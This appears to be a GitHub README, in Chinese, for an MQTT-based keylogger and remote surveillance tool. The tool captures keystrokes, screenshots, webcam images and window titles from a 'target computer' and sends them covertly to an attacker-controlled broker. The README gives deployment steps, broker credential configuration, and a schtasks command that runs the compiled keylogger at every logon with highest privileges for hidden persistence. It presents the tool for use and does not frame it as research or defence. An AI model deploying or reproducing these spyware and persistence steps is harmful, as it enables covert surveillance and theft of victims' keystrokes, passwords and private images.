xoruss/keylogger_
GitHub: xoruss/keylogger_
该项目是一个基于 MQTT 协议的跨平台远程监控系统,通过发布订阅模式实现键盘记录、屏幕截取、摄像头快照和窗口活动跟踪等数据的隐蔽传输与集中收集。
Stars: 4 | Forks: 0
# Keylogger-MQTT
一个基于 MQTT 协议构建的实时远程监控和数据收集系统。该项目具备隐蔽的数据传输、键盘记录和屏幕截取功能,可从目标机器获取信息。
## _核心功能
* **键盘记录:** 记录所有按下的按键,完全支持俄语键盘布局(西里尔字母)。
* **远程截屏:** 按需捕获目标屏幕。
* **摄像头快照:** 远程触发并捕获目标设备摄像头的图像。
* **活动监控:** 跟踪当前活动窗口的标题,以了解用户正在进行的操作。
* **MQTT 协议:** 通过 MQTT broker 进行轻量级且快速的数据传输。
* **跨平台就绪:** 核心逻辑针对 Windows 环境进行了优化。
* **支持俄语
## 🌐 要求与设置
### 要求
* **公网 IP(或域名):** 运行 MQTT broker 的机器必须可以通过公网 IP 地址或域名访问。如果您在 NAT 后面,则需要在路由器上设置端口转发(端口 1883)。
* **Mosquitto MQTT Broker:** 您需要一个正在运行的 MQTT broker 来处理消息路由。
## 安装说明
### 1. 克隆仓库
```
git clone https://github.com/xoruss/keylogger_.git
cd keylogger_
```
## 2. 安装依赖
强烈建议使用虚拟环境:
```
pip install -r requirements.txt
```
## 3. 配置
在根目录下创建一个 .env 文件,并添加您的 MQTT broker 凭证:
```
IP_IP=your_public_ip_or_domain
MQTT_BROKER_LOGIN=your_login
MQTT_BROKER_PASSWD=your_password
```
## 系统架构
该项目分为两个主要组件:
* **`sender.py`(客户端):** 安装在**目标计算机**上。它负责拦截按键、捕获屏幕截图/摄像头照片,并将数据发布到 broker。
* **`scr/receiver.py`(服务端):** 您的“控制面板”。它订阅 MQTT broker 主题,接收日志,将屏幕截图保存到 `scr/screenshots/`,并将活动记录到 `scr/logs_ru.txt` 中。
## 启动客户端(目标):
```
python sender.py
```
## 启动服务端(控制面板):
```
cd scr
python receiver.py
```
## Windows 开机自启
为了确保在系统启动时以管理员权限隐蔽执行,建议使用 Windows 任务计划程序。
**注意:** 要使其正常工作,您必须首先将您的 `sender.py` 编译为 `.exe` 文件。
```
schtasks /create /tn "KeyloggerTask" /tr "C:\path\to\your\sender.exe" /sc onlogon /rl highest /f
```
标签:屏幕截图, 数据窃取, 远程监控, 逆向工具, 键盘记录器